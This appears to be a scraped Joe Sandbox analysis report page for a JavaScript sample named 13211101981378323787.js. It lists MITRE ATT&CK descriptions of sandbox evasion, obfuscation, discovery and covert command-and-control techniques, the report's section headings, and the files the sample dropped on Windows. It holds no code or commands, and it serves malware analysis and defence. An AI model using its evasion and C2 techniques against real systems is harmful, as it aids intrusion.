Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 13211101981378323787.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\28ada42b-694f-46e1-adeb-9bfe6e4d91e6.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.940

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
13211101981378323787.js